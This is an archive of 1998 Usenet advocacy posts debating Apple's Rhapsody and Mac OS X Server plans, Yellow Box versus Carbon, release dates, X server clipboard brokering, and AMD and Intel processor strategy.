> direct connection, but often in those cases you can't run X applications
> to begin.
No, I think we're missing each other in the conversation. What I'm
saying is that if a client can connect to an X server, it knows that it
has a path to all other clients which are *also* connected to the X
server. The X server is the common point of interaction, therefore it is
a foolproof way to broker CnP and DnD transactions.
For instance, suppose I am dialed up from home, connecting to my machine
at work from a cable modem. Suppose my company has some sort of security
(not too rare, eh?) and as a result I am tunneling a secure X session
through my dialup link.
Suppose, also, that I am piping the display from another machine on a
different WAN to my display, like a remote xterm client from a Web
server I administer. This is also a secure X session, but because of
bandwidth constraints on this link I am using a differential X protocol
compressor (something like X.Fast).
Despite the fact that the two remote machines haven't a snowball's
chance in hell of communicating directly, the fact that they both have a
known-quantity link to my X server means that they can communicate
through the server itself without thinking twice.
> As for security issues involving direct connections,
> if you are running networked X applications, you ought to be aware
> of whatever security risks are involved anyway.
That's not the point. By providing security on connections to the X
server (and only on connections to the X server) I am able to
effectively limit the points of illegal entry on the X protocol itself.
Other security issues are outside the scope of this discussion.
> Perhaps what you
> need is some sort of drag & drop data transfer arbritator that takes
> into consideration security issues and connection methods. It can
> help select the most efficient and secure data transfer method according
> to some set of policies. The transfer method could be through
> the file system, network, pipe, shared memory or some other form
> of IPC/RPC/middleware.
It would be possible but the cost in complexity, configuration, and
security loss simply would not be compensable by the gain in
performance.
MJP
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: Wed, 21 Oct 1998 17:11:47 -0500
Organization: Ericsson North America Inc.
Message-ID: <362E5C23.50F618F0@ericsson.com>
References: <01bdfc5b$c2fd8520$06387880@chewy> <stone-2110981546220001@rc-pm3-1-19.enetis.net>
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Kevin Stone wrote:
> Yah, here's a thought. MacOS X Server is not cancled. It was a simple
> misunderstanding of a question durring a press conference in Australia.
>
> Amazing how these rumors get started. :-/
Probably like the above. The press conference was in Austria, not
Australia.
Not so amazing.
MJP
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: Wed, 21 Oct 1998 17:20:36 -0500
Organization: Ericsson North America Inc.
Message-ID: <362E5E34.506667F8@ericsson.com>
References: <01bdfc5b$c2fd8520$06387880@chewy> <70j1lq$hie$1@nnrp1.dejanews.com>
<01bdfc8d$2142dbe0$06387880@chewy> <F16MC2.7AB@T-FCN.Net>
<362E0210.D5392CC6@ericsson.com> <F16z2v.DtH@T-FCN.Net>
<362E376F.AB64DD73@ericsson.com> <F174Bo.GqD@T-FCN.Net>
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Maury Markowitz wrote:
> Excellent questions, but you missed one:
>
> 2a) What does "Premier Release" mean?
>
> Unless you have a definition that this means "general public release"
> then your line of reasoning is incorrect. I cannot remember a single time
> in which Apple stated that PR was to be a generally available release.
Too bad for you.
From MacWEEK Online, posted January 8, 1997:
"The first customer shipment of the OS, to be called Rhapsody Premier
Release, will be as compatible with Mac OS 7.x applications as Apple can
manage by the end of 1997, said Vito Salvaggio, product line manager for
Mac OS releases, in comments following Amelio's keynote."
By the way, Developer Release 1 was released on October 13, 1997, not Q1
1998. There can be no mistake that DR1 is *not* the "Premier Release" of
Rhapsody, since Apple made direct public statement referring to Premier
as a separate release from DR1 *after* DR1 had been released.
> In
> fact it's clear by reading over the press at the time that no one else
> believed this is what it meant either. For instance in
> http://macweek.zdnet.com/ns-search/mw_1120/op_crabb.html.bak?NS-search-set=/
> 362e4/aaaa004ef2e4a1d&NS-doc-offset=0& Don talks about what you should do
> when Rhapsody ships "mid-1988".
No, he doesn't! He says, "So, fast-forward to sometime mid-1998." The
context has nothing to do with Rhapsody's ship date, it has everything
to do with a hypothetical customers who is evaluating cross-platform
options. You're really grasping now...
> Not much confusion there. In another
> article (my browser is clipping URLs) I find...
>
> According to Apple, Rhapsody Customer Release 1, formerly known as Premier
> Release, is scheduled to ship in the first part of this year.
Exactly. What does "Customer Release" mean to you? The same thing as
"Developer Release"? I didn't think so.
> In another article I find...
>
> DR1 also does not include the Blue Box, the Mac OS environment within
> Rhapsody. Apple said the Blue Box will arrive with the Premier release, due
> early in 1998.
Yes. Your point?
> DR2 shipped with Blue Box. They're late in terms of getting a customer
> release out in the1st half of the year, but we knew that already.
"We knew that already." This two postings after the following:
"WHOA! I have _never_ seen anything about releasing Rhapsody before
fall."
> If there
> is a difference it's what happens _after_ the first customer release, and
> that's a pretty big change.
We still haven't seen the first customer release. What are you talking
about?
> > 6) DR1 shipped Q1,98. Why couldn't Todd ship his software to customers?
>
> Dunno, Stone shipped Create for DR2 I believe.
What are you talking about? Why does this matter? Are Todd's customers
DR2 developers?
> OmniWeb shipped OW and
> others. Radical shipped this app I'm using now. I can think of well over
> a dozen apps that have shipped for Rhapsody DR's from client-end apps to
> database servers, and MacWEEK has a whole page full of them from late 1997.
All of which are wonderfully available...to Certified Apple Developers.
> I don't know why Todd didn't ship his product. I don't think you know
> why either.
No, but I presume it's because his customers are not Apple Developers...
> > "WHOA! I have _never_ seen anything about releasing Rhapsody before
> > fall. On what basis did you tell your customers that it would be
> > available?"
> >
> > Now you are claiming that Rhapsody was "released". Does this strike
> > anyone as...typical, actually?
>
> My bad, "public release" Happy?
No. You just spent twenty or so lines explaining that Todd's
co-developers have shipped apps and that Todd's customers should have
access to his, as well. Now you acknowledge the distinction between a
developer release and a public release, and you still can't get it
right.
Pshew. Whatever, Maury. Your sinking credibility just got a boost from
*that* exchange (not).
MJP
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: 21 Oct 98 12:05:05 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2537E73-26057@206.165.43.220>
References: <F16L0y.6FC@T-FCN.Net>
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nntp://news.primenet.com/comp.sys.mac.advocacy
Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B25260B9-100817@206.165.43.138> "Lawson English" wrote:
>> I was under the impression that Carbon would be the direct API to the
>> underlyign services. I was wrong. Regardless, eQD is called by both
Carbon
>> and YB if my understanding is NOW correct...
>
> Good.
So now we get back to the wrapper issue. If the YB uses a different API to
access the same services under MacOS X, then it would seem that Carbon IS a
wrapper for those services.
That raises another point: porting Carbon to WNT/W9x. If YB needs to use
the same services as Carbon does, then providing a revised YB for WNT/W9x
is likely 99% of the work needed to port Carbon, no?
Clever girl (said the hunter to the velociraptor just before it ate him).
If they can work it right, suddenly a Mac-first development strategy makes
sense for even the *established* software houses. Use YB for new
applications and Carbon for legacy apps and you automatically get both
platforms.
And with Bill Gates distracted by the DOJ, Apple may be able to promote its
cross-platform development strategy free from Microsoft interference.
Now, if they can just bring back an OpenDoc solution, either Carbon OR
YB-based, don't matter at this point.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Greg Anderson" <greg@afs.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: Wed, 21 Oct 1998 18:17:14 -0400
Organization: Anderson Financial Systems Inc.
Message-ID: <70lmhk$b3d@shelob.afs.com>
References: <01bdfc5b$c2fd8520$06387880@chewy> <stone-2110981546220001@rc-pm3-1-19.enetis.net>
Kevin Stone wrote in message ...
>Yah, here's a thought. MacOS X Server is not cancled. It was a simple
>misunderstanding of a question durring a press conference in Australia.
>
>Amazing how these rumors get started. :-/
For example, the conference I heard about was in AUSTRIA.
What happened in Australia? 8^)
Greg
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: 21 Oct 1998 22:49:03 GMT
Organization: I don't think so
Message-ID: <slrn72sph8.bav.jason@jhste1.dyn.ml.org>
References: <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <B24D52F0-27B86@206.165.43.171> <F1306A.3AF@T-FCN.Net> <70ftih$2ego$1@piglet.cc.uic.edu> <F139H5.78H@T-FCN.Net> <Jonas.Palm-2110980124480001@jp.orgk1.dial.lu.se> <rbarris-ya023280002010981659250001@206.82.216.1> <slrn72s8u8.9ka.jason@jhste1.dyn.ml.org>
Jason S. posted the following to comp.sys.mac.advocacy:
>stream is I-frames (maybe only 10% in a typical 640x480x12x30fps stream,
>and 15% for 24bpp YCbCr).
20% for 24bpp, if 12bpp is 10%. Doh!
--
Latvian Orthodox Priest: Is there one aspect of the faith that you find
particularly attractive?
George Costanza: I think - the hats.
-- Seinfeld
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.programmer.misc,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
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Cc: spagiola@my-dejanews.com
Organization: My ISP puts something here if I don't.
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<70fddn$rts$1@nnrp1.dejanews.com> <70g0tl$mdh$4@news.xmission.com>
<70g2s9$t17@shelob.afs.com> <70i4tt$i45$1@nnrp1.dejanews.com>
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Mime-Version: 1.0
Date: Wed, 21 Oct 1998 19:16:09 GMT
In <70l95i$e5v$1@nnrp1.dejanews.com> spagiola@my-dejanews.com wrote:
> Stressing the new strategy's continuity with the traditional MacOS via
> Carbon
> was good, and necessary. What was NOT necessary was doing it in way that
> completely undermined confidence in Apple's commitment to YB, and after
> that
> initial mistake doing nothing to rectify the impression that YB was
> likely to
> be an orphan. (and before you jump on that, let me stress I'm NOT saying
> it
There are three issues competing for attention here...
a) don't confuse anyone
b) talk about YB, which won't be in general use for a year
c) talk about carbon, which is what they all wanted to hear
Sorry, I see no easy way of doing this "right". You seem to think this
is a simple issue, like talk about YB more.
> IS going to be an orphan -- I'm saying Apple has given the impression
> that it will.)
When? When have they made any statement that gives you this impression?
> I don't care what they call it, as long as they ship it.
Well this is a rather different claim than what you were saying a few
days ago. _I_ don't think the name matters personally BTW.
> suggesting one way that they could ship OSXS without necessarily
> undermining
> either OS8.5 sales (in case of either substantial adoption or consumer
> confusion) or future OSX sales (in the case of lukewarm adoption).
I don't think it will, but even talking about it WILL confuse people. Go
read that article on PCWeek about Apple coming back into IT, if that
doesn't convince you nothing will.
> > Well, why can't you do this now - aside from having to pay twice?
>
> You've answered your own question.
Explain how having to pay twice - as you would have to anyway for any
other OS upgrade - makes you unable to use the software? If you cannot
afford it now, you cannot afford it now.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: YB developer's lost revenues
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Date: Wed, 21 Oct 1998 19:23:04 GMT
In <70kssa$3p6$1@nnrp03.primenet.com> John Jensen wrote:
> : I don't understand Todd. If you wanted to release an OpenStep
> :version, why didn't you?
>
> I think the term "servicable, available, market" covers it.
No, it doesn't. The OpenStep market now is about the same size as it was
this time last year. That number is considerably larger (IMHO) than the
number would be if it didn't "go to" Apple. Basically if you thought there
were enough of a market for it on OpenStep (say) 2 years ago, then there is
still a market for it now and certainly a better market than there would
have been.
Sure it's not the "big" market we all hope is around the corner, but
Apple has not stated that this would be happening faster than it is now, at
least not that I remember. I'm fed up with the latest delay myself, but we
were always betting on a late Sept release (as it is, I'm stuffing in new
and cool features) from the time I started in Feb and it looks like it's
going to be off by only a month or so.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: YB developer's lost revenues
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<362E5E34.506667F8@ericsson.com>
Mime-Version: 1.0
Date: Wed, 21 Oct 1998 23:25:55 GMT
In <362E5E34.506667F8@ericsson.com> Michael Peck wrote:
> Too bad for you.
I stand corrected.
> By the way, Developer Release 1 was released on October 13, 1997, not Q1
> 1998.
My bad "had already shipped".
> There can be no mistake that DR1 is *not* the "Premier Release" of
> Rhapsody, since Apple made direct public statement referring to Premier
> as a separate release from DR1 *after* DR1 had been released.
Sure, but it's easy to "mistake" DR2 for Premier.
> Exactly. What does "Customer Release" mean to you?
It means CR1, now called Server. By that time frame, it's six months
late. Still better than most other OS's.
> > Rhapsody. Apple said the Blue Box will arrive with the Premier release,
> due
> > early in 1998.
>
> Yes. Your point?
DR2 has BB.
> "We knew that already." This two postings after the following:
>
> "WHOA! I have _never_ seen anything about releasing Rhapsody before
> fall."
And I hadn't until this post.
> We still haven't seen the first customer release. What are you talking
> about?
Ê I'm talking about what happens after the release of CR1.
> > Dunno, Stone shipped Create for DR2 I believe.
>
> What are you talking about? Why does this matter? Are Todd's customers
> DR2 developers?
>
> > OmniWeb shipped OW and
> > others. Radical shipped this app I'm using now. I can think of well
> over
> > a dozen apps that have shipped for Rhapsody DR's from client-end apps to
> > database servers, and MacWEEK has a whole page full of them from late
> 1997.
>
> All of which are wonderfully available...to Certified Apple Developers.
No, to anyone. Yes I realize that this means something in turn, but that
doesn't stop Todd, or anyone else, from putting the software in a box and
selling it. Just yesterday we bought a piece of software for DR2 for
instance.
I think it's worth pointing out that the OpenStep 4.2 + Rhapsody DR2
market is likely just as big or bigger than the OpenStep 4.2 market. This
is what I said to Todd in my last message. If the market was there a year
ago, it's still mostly intact now, if not larger. I think you may not have
a good grasp on the OS4.2 market just prior, it basically consisted
entirely of developers. It still does today. So my issue stands, either
the market is there or it's not, Apple's change in distribution hasn't
changed this much, if at all.
> No, but I presume it's because his customers are not Apple Developers...
But if OS4.2 was a target, as he noted, then his customer base was
primarily made up be OpenStep developers, which is likely a 90%
intersection with YB developers today. Again, if there was money to be
made in the OS market one year ago, there's just as much or more to be made
now.
> No. You just spent twenty or so lines explaining that Todd's
> co-developers have shipped apps and that Todd's customers should have
> access to his, as well. Now you acknowledge the distinction between a
> developer release and a public release, and you still can't get it
> right.
And as I have pointed out above, this is not the whole story.
> Pshew. Whatever, Maury. Your sinking credibility just got a boost from
> *that* exchange (not).
Whatever.
Maury
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: Wed, 21 Oct 1998 14:28:15 -0500
Organization: Ericsson North America Inc.
Message-ID: <362E35CF.41A5A47@ericsson.com>
References: <01bdfc5b$c2fd8520$06387880@chewy> <70j1lq$hie$1@nnrp1.dejanews.com> <01bdfc8d$2142dbe0$06387880@chewy> <F16MC2.7AB@T-FCN.Net> <70l84g$cga$1@nnrp1.dejanews.com>
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spagiola@my-dejanews.com wrote:
[cut]
> Now, from my perspective, the biggest problem is not that the release date has
> slipped. On a project of this magnitude, I'd be surprised if it didn't.
What magnitude? There were two goals for Rhapsody:
1) Blue Box
2) Blue Box
I will now receive about twenty emails from people who want to convince
me that Rhapsody will have *so* much more: new Mach kernel, new BSD,
Carbon, etc. I will laugh at these people, because many of them are
people who are constantly telling me that I have no idea what Rhapsody
is all about.
Funny, I didn't hear any developers asking for a new Mach kernel, or for
BSD 4.4. I *do* remember hearing "Ship a f***ing operating system", but
not the others.
> My
> biggest problem is that, almost a year after the initially promised date and a
> month after the revised promised date, we still know diddly about when it will
> ship and at what price.
You know that MacOS X will ship in fall 1999, and that it will be in the
price range of the current MacOS (since it will come pre-loaded on
machines). Does that make any difference?
MJP
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Mac OS X Server
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Date: Wed, 21 Oct 1998 19:48:05 GMT
In <B2537E73-26057@206.165.43.220> "Lawson English" wrote:
> So now we get back to the wrapper issue. If the YB uses a different API to
> access the same services under MacOS X, then it would seem that Carbon IS
> a wrapper for those services.
What?!? YB uses a different API to call the services, does that mean YB
"IS" a wrapper for those services? Carbon is a set of calls. YB is a set
of calls. They share some of the same code below. This in no way implies
that they are "wrappers" for portions of it.
I can write 68k code in Pascal. I can write C code in Pascal. Which is
the "wrapper"?
> That raises another point: porting Carbon to WNT/W9x.
Non-trivial, not worth doing, not under way.
> If YB needs to use the same services as Carbon does, then providing a
> revised YB for WNT/W9x is likely 99% of the work needed to port Carbon,
no?
No. Re-writing the drawing _engine_ is likely 5% of the work needed to
port Carbon. Let's see - file manager, resource manager, sound manager,
window manager, event handling (uggg) etc. Much of this has been ported
actually, in QT, but that doesn't imply the rest is easy or worthwhile.
Ask yourself this, what _exactly_ would Carbon on PC's do for anyone?
Would it offer PC people something they want?
Maury
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: Wed, 21 Oct 1998 14:58:23 -0500
Organization: Ericsson North America Inc.
Message-ID: <362E3CDF.1F741898@ericsson.com>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5> <70fddn$rts$1@nnrp1.dejanews.com> <70g0tl$mdh$4@news.xmission.com> <70g2s9$t17@shelob.afs.com> <ch3-1910982007530001@1cust104.tnt5.redmond.wa.da.uu.net> <70h3s8$e1r$2@birch.prod.itd.earthlink.net> <ch3-1910982238540001@1cust104.tnt5.redmond.wa.da.uu.net> <F14qsH.CE2@T-FCN.Net> <362CD8F5.27CBFE58@ericsson.com> <70jmbo$mqb@news1.panix.com>
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Sal Denaro wrote:
> How are they _not_ doing that now? Apple appears to be working on both
> MacOS and OSX with plans to ship both over the next few years.
MacOS is not a "viable" operating system according to the definitions
developers had been giving prior to the NeXT acquisition. It lacked
pre-emptive multitasking, multiuser capability, and application memory
protection.
Amelio publicly stated in May of '97 that he was exploring various plans
to give MacOS this capability. As we now know, this would have
necessarily involved a rewrite of the Toolbox APIs (can you say
"Carbon"?).
Unfortunately, Jobs has run with the Effective Toolbox option, but he
completely missed the target, because he's shipping it on the wrong
operating system. Instead of saying "the problem is we're forcing
developers to migrate if they want a new OS", Jobs seems to have thought
to himself "the problem is we're forcing developers to migrate to the
wrong OS".
I don't know about you, but I never heard developers say "What I really
want from Apple is a migration plan". I *did* hear them say "What I
really want from Apple is an OS with PMT and PM". Giving them the option
do gain these capabilities on MacOS would have been met with cheers from
developers.
[cut]
> Apple has almost _zero_ credibility in the enterprise market. Shipping
> OpenStep as it was would have done little to build credibility.
Your market research to support this is...where?
> Shipping
> OSX Server, with many improvements over OS4.2, and some kind of marketing
> push (perhaps with WO4) _may_ improve Apple's credibility.
Which improvements, exactly, will reach customers in usable form?
> >I'll take the strategy we might have had in early 1997 over the strategy
> >we still don't have in late 1998, Genius Jobs and his tactics aside.
>
> I'll take the possibility that OSX is marketed half as well as the iMac
> was over whatever plan Gil cooked up in early '97.
Exactly. "Whatever plan Gil cooked up", which means you weren't paying
attention. It only got interesting when Our Lord Steve stepped up to
bat. Funny how OPENSTEP developers berate MacOS developers for their
waning attention in late 1998...
MJP
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: 21 Oct 98 17:28:50 -0700
Organization: Frontier GlobalCenter Inc.
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spagiola@my-dejanews.com said:
>I think that's being unduly harsh, at least for recent times. Both OS8 and
>OS8.5 were shipped when Apple said they would be.
Er, not really. MacOS 8 was to be Copland. MacOS 7.7 was to become MacOS 8.
Under the revised numbering system, the missing features that were
originally meant for MacOS 7.7 (er, 8.0) were put into the free update,
MacOS 8.1.
Apple merely renamed things for marketing and legal purposes (the
clone-makers had no license for the next major release of MacOS, so by
renaming 7.7 to MacOS 8, they had no license for System 7.7).
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
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From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: 21 Oct 98 17:33:26 -0700
Organization: Frontier GlobalCenter Inc.
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Maury Markowitz <maury@remove_this.istar.ca> said:
>
> It means CR1, now called Server. By that time frame, it's six months
>late. Still better than most other OS's.
>
If CR1 was meant to ship in 1Q98, it will be at least a year late. In
Apple-ese, 1Q98 is Christmas 97. Of course, you can insist that they meant
some other company's 1Q98...
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: Thu, 22 Oct 1998 00:16:42 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <70ltha$b0v$1@nnrp1.dejanews.com>
References: <01bdfc5b$c2fd8520$06387880@chewy> <70j1lq$hie$1@nnrp1.dejanews.com> <01bdfc8d$2142dbe0$06387880@chewy> <F16MC2.7AB@T-FCN.Net> <362E0210.D5392CC6@ericsson.com> <F16z2v.DtH@T-FCN.Net> <362E376F.AB64DD73@ericsson.com> <F174Bo.GqD@T-FCN.Net>
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> 2a) What does "Premier Release" mean?
>
> Unless you have a definition that this means "general public release"
> then your line of reasoning is incorrect. I cannot remember a single time
> in which Apple stated that PR was to be a generally available release.
Would you accept Avie Tevanian's word? Here's his response in a Feb. 1997
interview to the question: "if you were going to make a recommendation to a
friend or family member, what would you tell they should be able to do with
the Premier Release? ... Is it basically just for evaluation, or do you think
people will be able to do productive work with it?"
Avie's answer: "I think people will certainly be able to do productive work
unless they depend on a Mac OS application that won't be supported by the
Blue Box in that timeframe. And it's hard to predict exactly which ones will
or won't, but that would be probably the big thing that would come to mind,
that they wouldn't be able to do at that point in time. But other than that,
everything should be clearly functional. There may be some pieces of the UI
that are still subject to revision, but we'll have at least some of the
changes, maybe most of the changes, done by that timeframe."
If Avie would recommend it to a family member, albeit with some caveats, to me
that certainly implies a general public release. (then again, maybe all of
Avie's family is as smart as he is)
You can find the full interview at
http://macuser.zdnet.com/onlinecol/tevanian.html
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: 21 Oct 98 17:38:33 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B253CCA3-29A64@206.165.43.156>
References: <F170C6.Epu@T-FCN.Net>
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nntp://news.primenet.com/comp.sys.mac.advocacy
Maury Markowitz <maury@remove_this.istar.ca> said:
>Ask yourself this, what _exactly_ would Carbon on PC's do for anyone?
>Would it offer PC people something they want?
Giving Mac-only developers with legacy Mac-only code a way of porting to
the PC without rewriting for Windows *OR* YB? Suddenly boosts the Mac-first
numbers by a good bit and gives developers another alternative to using
MS's cross-platform code.
Mike Paquette has hinted that Carbon could easily be made cross-platform...
In fact, the more I think about it, the more compelling THIS would be.
Adobe uses their own home-grown version of MacApp to do all their
cross-platform work. If Apple provided them with a viable cross-platform
version of MacApp based on Carbon (MacApp IS being revised for Carbon, I've
heard), then Adobe no longer has to maintain the cross-platform framework
and can let Apple do it for them. Recommits Adobe to making a Mac-first
suite of suite of apps and tweeks Bill Gates' nose in the process.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
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From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <4AuX1.9887$5w6.51@newsfeed.slurp.net>
Control: cancel <4AuX1.9887$5w6.51@newsfeed.slurp.net>
Date: 21 Oct 1998 23:58:42 GMT
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From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: AMD K7 info Re: Motorola's G4 PowerPC
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Date: 22 Oct 1998 01:28:08 GMT
Organization: University of Maryland, College Park
Message-ID: <70m1n8$u8h$1@hecate.umd.edu>
References: <70jml1$2ska$1@piglet.cc.uic.edu> <70jod0$c70$1@hecate.umd.edu> <70ksut$181k$1@piglet.cc.uic.edu>
Anil T Maliyekke (amaliy1@uic.edu) wrote:
: David T. Wang (davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu) wrote:
: : They have to make contingency plans. AMD wants to move into the high
: : price/margin processor arena, and they *may* yet do it with K7, but
: : what's next? Will K8 be IA-32 as well, and can it compete against the
: : likes of Alpha 21364 and McKinley? K7++ isn't a long term solution
: : to compete against the 21364/McKinley platforms. In less than 3 years
: : those chips should be on the market, and it normally takes 3 years
: : or more to bring a new core to fruition from the ground up. AMD must
: : have a battleplan in place if it wishes to enter and remain in the
: : server/workstation processor business.
: The majority of the server and workstation market isn't as sensitive
: to performance on SPEC as it is to cost and bandwidth issues, so K7
: die shrinks may be competitive if K7 is actually competitive when it comes
: out. The question is how high up the food chain AMD wants to go. I think
: it is probably more important for AMD to focus on getting in the middle
: of the market and trying to take over the business desktop market in
: the next couple of years. If Intel loses that market, not only they will
: lose their biggest revenue and profit generator, they may have a harder
: time pushing IA-64 and getting it into the volume market that will
: allow IA-64 to become self perpetuating. The effects on their revenue may
: not be so visible, because it seems that Intel is making a concerted
: effort to diversify out of the computer MPU and chipset business,
: branching out into netorking and embedded markets.
I a way I do agree with you. AMD in a sense is still learning to walk.
Finally, it has a respectable product (K6), and it also looks good
(on paper) for K7. So concentrate on walking steadily before trying to
fly with the big boys. However, as I mentioned, it takes a numbers of
years to bring a core to fruition, and if Intel successfully brings
IA-64 into fruition, then that would become a weapon in Intel's
segmentation strategy, keeping IA-64 in the server/workstation market,
to feed the profit margin, and to bombard all else with IA-32 on the
low end. This senario ofcourse depends on all parties involved execute
their stated product plans in 3 years, so it is very iffy. However,
IMO, battling with K7++ in the workstation/low end server market would
not be a feasible strategy at that time.
: : I have only heard sketchy details of 21364, and I'm not as convinced
: : that Slot A will die quickly.
: Well, it seems that it will simplify system designs for both single
: CPU systems and MPs. I'm not so convinced that it will be such
: a good idea for large MPs for certain applications, since it seems to be
: more of ccNUMA type design.
My frist impression of the design was that it tossed a lot of the
"complexity" in SMP design, memory access, etc out from the CPU into
the chipset. I wasn't too terribly surprised to hear that they had some
problems with the chipset. Although SKD say that the "chipset problem"
isn't electrical or design problem, just the mechanicals. I hold no
opinion on the suitability of the CPU to large scale MP. I haven't
looked deeply enough at it, nor thought much about it.
: : I don't think that adding 3DNow! or adding another level of caching
: : would require an entire design team's undivided attention. Those are,
: : relatively speaking, minor tweaks to the core. What does their next core
: : look like? I suspect that the main chunk of the team has moved on to
: : some yet-unannounced project.
: Maybe, or maybe some of them are working on the K7. I don't know if
: AMD can afford to have multiple large teams working on three generations
: of CPUs at the same time.
That was my point, K6-2 and K6-3 aren't a "new generation" design.
Also, IIRC, AMD's two design teams are located quite far apart as well.
Texas and California? (for some reason that thought is in the back of my
head. I cannot recall a reference to this.)
--
davewang@kagututi.kecl.ntt.co.jp.meaningless
All statements are personal opinions
Not speaking for NTT or University of Maryland
Nara, Japan.
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: Tue, 20 Oct 1998 18:07:16 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <70ijgl$9c$1@nnrp1.dejanews.com>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5> <70fddn$rts$1@nnrp1.dejanews.com> <70g0tl$mdh$4@news.xmission.com> <70g2s9$t17@shelob.afs.com> <ch3-1910982007530001@1cust104.tnt5.redmond.wa.da.uu.net> <70h3s8$e1r$2@birch.prod.itd.earthlink.net> <ch3-1910982238540001@1cust104.tnt5.redmond.wa.da.uu.net> <F14qsH.CE2@T-FCN.Net>
Maury Markowitz wrote:
> > ... Given the opportunity to go back to the end of '97, I
> > would have stayed with Amelio's plan and developed Rhapsody along
> > with MacOS. (Which is what they are actually doing: OS X Server
> > and OS X.) The problem is they've botched the marketing positions
> > by throwing this "Server" thing down in the middle of 8.5 ---> X.
> > If it was called OPENSTEP(or OS X for Enterprise), this would not
> > be a problem.
>
> This is entirely different than what they were doing. They were doing
> "server" and telling everyone to upgrade. This is _significantly_
> different than the current strategy and in retrospect it appears Jobs was
> correct in thinking it was going to fail.
Huh, Maury, I think I see what you're saying, but this is NOT the clearest
paragraph you've ever written. What do "they", "this", and "it" refer to?
That the OS plan had to change from the original one announced by Amelio is
clear. Traditional Mac developers were simply not buying having to recode
everything to YellowBox. So reformulating the plan by adding Carbon made a
lot of sense. The way in which the reformulation was handled was FUBAR,
though. Rather than stressing how Carbon provided a seamless transition path
to a brave new world in which YellowBox would _gradually_ take over, Apple
ended up verbally minimizing YellowBox's role completely, sending everyone
into a tizzy and generating reams of even-less-compelling-than-usual usenet
traffic. And now they're paying the price for that, by having this fantastic
piece of software that they don't know what to do with from a marketing
perspective.
> As to calling it OPENSTEP that name has little cachet outside the
> OpenStep world, and those inside the OS world care little about the names.
> The people that are going to buy Server are the current OS users (the ones
> that will buy a Mac - that's my big complaint) and real server users. I
> don't see the big panic that everyone assumes is out there.
Agreed, the name is the least important part of the problem, although Appple
HAS further compounded their perceived marketing problems for themselves by
calling Rhapsody "MacOSX Server". I personally don't care what they call it,
as long as they'll sell it to me, soon and at an affordable price.
As I said elsewhere in this thread, I think the best solution is to simply
call Rhapsody "Mac OS X beta" -- since that's what it ultimately is, anyway
-- and sell it as such. The "beta" moniker would protect them from any
marketing missteps they might fear making, since whatever happens they can
always claim "it's just a beta."
Stefano Pagiola
---
My opinions alone
